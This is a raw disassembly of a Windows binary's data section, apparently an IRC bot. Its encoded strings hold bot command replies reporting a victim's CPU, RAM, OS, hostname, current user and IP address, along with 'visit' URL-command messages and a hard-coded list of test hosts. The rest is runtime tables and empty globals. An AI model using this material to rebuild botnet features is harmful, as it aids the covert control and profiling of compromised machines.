aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A030	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A10C	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 10h
dword_43A140	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A184	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A188	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A18C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A194	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1A4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A1D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A200	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A21C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A258	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A274	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A280	dd 6552D6A3h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A290	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A29C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2A8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2AC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2C0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2C4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A2D0	dd offset off_43A2D0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A2D4	dd offset off_43A2D0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A2E8
		dd offset dword_43A2E8
dword_43A2E0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A2E8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A2D8o
					; ___:0043A2DCo
off_43C2F0	dd offset off_43A2D0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C2F4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C2F8	dd offset word_43C302	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C2FC	dd offset word_43C302	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C302	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C2F8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C508	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C510	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C514	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C518	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C520	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C524	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C530	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C614	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C780	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C788	dd 14h			; DATA XREF: sub_421624+2o
off_43C78C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C860	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C870	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C888	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C894	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8A0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8A4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8A8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8AC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8B0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8B4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8C4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8C8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8CC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C940	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C944	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C948	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C94C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C950	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C958	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C95C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch
		dd 0FFh, 427960h
off_43C9E8	dd offset dword_4DB5A0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5A0
		dd 101h
dword_43C9F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA08	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC68	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CC70	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CC78	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CC90	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCAC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCB0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCB4	dd offset dword_545350	; DATA XREF: ___:off_43CD34o
		dd 0Fh dup(0)
off_43CCF4	dd offset dword_544450	; DATA XREF: ___:off_43CD38o
		dd 0Fh dup(0)
off_43CD34	dd offset off_43CCB4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD38	dd offset off_43CCF4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD40	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD44	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD48	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD50	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD54	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD58	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD5C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CD8C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CD90	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDC8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF28	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D084	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D09C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0BC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D0DC	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D100	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D120	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D128	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D130	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D148	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCB0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEB0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEB4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEB8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEBC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEC0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEC4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEC8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1E21h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043375Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A48o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384B8o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438324o
dword_4B5248	dd 569Ah dup(0)
dword_4CACB0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACB4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACB8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACBC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD3C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CAD7C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE0C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE10	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE20	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE24	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE28	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE2C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE30	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE34	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE38	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE3C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE40	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE44	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE48	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE4C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE50	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE54	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE58	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE5C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAE90	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEC0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAECC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAED8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAEE0	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAEE4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAEFC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF08	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF10	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF14	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF18	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF28	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF2C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF50	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF58	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF5C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
